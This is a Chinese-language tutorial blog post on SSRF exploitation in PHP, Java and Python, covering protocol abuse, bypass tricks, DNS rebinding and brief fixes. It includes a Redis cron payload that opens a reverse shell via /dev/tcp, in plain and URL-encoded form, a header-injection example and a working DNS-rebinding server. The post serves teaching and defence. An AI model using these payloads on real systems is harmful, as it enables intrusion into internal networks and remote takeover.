SSRF原理与绕过姿势

0x01 概述

SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务。
利用SSRF能实现以下效果:
1)        扫描内网(主机信息收集,Web应用指纹识别)
2)        根据所识别应用发送构造的Payload进行攻击
3)        Denial of service

0x02 漏洞利用 

a)      SSRF in PHP

1.        环境搭建

方便大家更直观了解,上述代码用来模拟ssrf,使用curl发起网络请求然后返回客户端,这里我请求加载图片

2.        利用方式

一般发起网络请求中会使用libcurl库,来看下它所支持的协议

除了http/https,还有一些可利用的协议如下

DICT

除了泄露安装软件版本信息,还可以查看端口,操作内网redis服务等

 File

  Gopher

万能协议(利用Gopher攻击Redis、攻击Fastcgi 等

 FTP(S)/SMB(S)

匿名访问及爆破

 Tftp

UDP协议  发送UDP数据包

Telnet

SSH/Telnet匿名访问及爆破

3.        总结

file_get_contents()
fsockopen()
curl_exec()

以上三个函数使用不当会造成SSRF漏洞

大部分 PHP 并不会开启 fopen 的 gopher wrapper
file_get_contents 的 gopher 协议不能 URLencode
file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
curl_exec() //默认不跟踪跳转,
file_get_contents() // file_get_contents支持php://input协议

修复方案:
•        限制协议为HTTP、HTTPS
•        禁止30x跳转
•        设置URL白名单或者限制内网IP

需要注意的是,回显是能否成功利用的重要的条件,在某些场景协议限定为HTTP模式且没有回显,利用
会相对复杂了。

 

b)SSRF in Java
1.        环境搭建

编写脚本扫描内网开放端口的主机

通过ssrf 探测到内网中redis服务器 ‘172.19.0.2:6379’正常访问

构造脚本写入 目录‘/etc/crontab‘

```
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
```

进行url编码:

```
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
```

反弹shell

2.        利用方式
网络请求支持的协议如下
http,https,file,ftp,mailto,jar,netdoc
对比php的ssrf,java这块利用相对局限,

3.        总结
以下几种类引用不当会造成SSRF
Request类,URL类的openStream,HttpClient类,URLConnection和HttpURLConnection类,
 

修复方案:
•   限制协议为HTTP、HTTPS
•   不用限制302重定向
•    设置URL白名单或者限制内网IP

 

c)        SSRF in Python
1.        环境搭建
HTTP Header Injection in Python urllib  ,
当使用了Python 的urllib库,请求url为用户可控时,就可能存在ssrf漏洞,且可以通过漏洞python urllib http头注入实现对内网未授权仿问的redis 服务器getshell
Python 测试脚本代码:test.py

#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

url = sys.argv[1]

try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)

测试一下通过http头注入来向redis写入普通的文本: 
 

./test.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo
GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
X-injected: header
x-leftover: :12345
Connection: close

2.        漏洞利用
通过Redis的通讯协议来突破空格的限制:(具体利用参考链接下方
3.        总结
修复方案:
1.        解析目标URL,获取其Host
2.        解析Host,获取Host指向的IP地址
3.        检查IP地址是否为内网IP
4.        请求URL
5.        如果有跳转,拿出跳转URL,执行1

0x03 挖掘漏洞
对外发起网络请求的地方都可能存在SSRF漏洞,列举
图片加载下载,分享页面,在线翻译,未公开的api(从远程服务器请求资源 
文件处理,编码处理, 属性信息处理,

  •  Ffpmg
  • ImageMaic

数据库内置功能

  • PostgreSQL
  • MongoDB
  • CouchDB
     

 

0x04 绕过技巧
@
添加端口号
短网址绕过
指向任意IP的域名xip.io
10.0.0.1.xip.io   resolves to   10.0.0.1
www.10.0.0.1.xip.io   resolves to   10.0.0.1
mysite.10.0.0.1.xip.io   resolves to   10.0.0.1
foo.bar.10.0.0.1.xip.io   resolves to   10.0.0.1
IP限制绕过
十进制转换 八进制转换 十六进制转换  不同进制组合转换
协议限制绕过
例子:
当url协议限定只为http(s)时,可以利用follow redirect 特性
构造302跳转服务,
结合dict:// file:// gopher://

DNS rebinding
DNS重绑定可以利用于ssrf绕过 ,bypass 同源策略等,,,这里介绍三种方法
1.        特定域名实现TTL=0
2.        域名绑定两条A记录

1/4的概率,当第一次解析为外网ip,第二次解析为内网ip,就会成功。
3.        自建DNS服务器
步骤如下:添加一条ns记录和一条a记录

Ns记录表示这个子域名test.h0pe.site指定由ns.h0pe.site域名服务器解析,
A记录表示ns.h0pe.site位置在ip地址xxx.xxx.xxx.xxx上
在这个ip地址上搭建DNS服务器,采用python库中的twisted库中的name模块,核心代码如下:

from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server

record={}

class DynamicResolver(object):

    def _doDynamicResponse(self, query):
        name = query.name.name

        if name not in record or record[name]<1:
            ip="104.160.43.154"
        else:
            ip="171.18.0.2"

        if name not in record:
            record[name]=0
        record[name]+=1

        print name+" ===> "+ip

        answer = dns.RRHeader(
            name=name,
            type=dns.A,
            cls=dns.IN,
            ttl=0,
            payload=dns.Record_A(address=b'%s'%ip,ttl=0)
        )
        answers = [answer]
        authority = []
        additional = []
        return answers, authority, additional

    def query(self, query, timeout=None):
        return defer.succeed(self._doDynamicResponse(query))

def main():
    factory = server.DNSServerFactory(
        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    )

    protocol = dns.DNSDatagramProtocol(controller=factory)
    reactor.listenUDP(53, protocol)
    reactor.run()



if __name__ == '__main__':
    raise SystemExit(main())

Root 权限运行,

0x05参考
http://blog.safebuff.com/2016/07/03/SSRF-Tips/
http://wavr.feei.cn/SSRF/
https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html
http://bendawang.site/article/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93
https://ricterz.me/posts/%E5%88%A9%E7%94%A8%20gopher%20%E5%8D%8F%E8%AE%AE%E6%8B%93%E5%B1%95%E6%94%BB%E5%87%BB%E9%9D%A2
https://security.tencent.com/index.php/blog/msg/106

  • 4
    点赞
  • 49
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值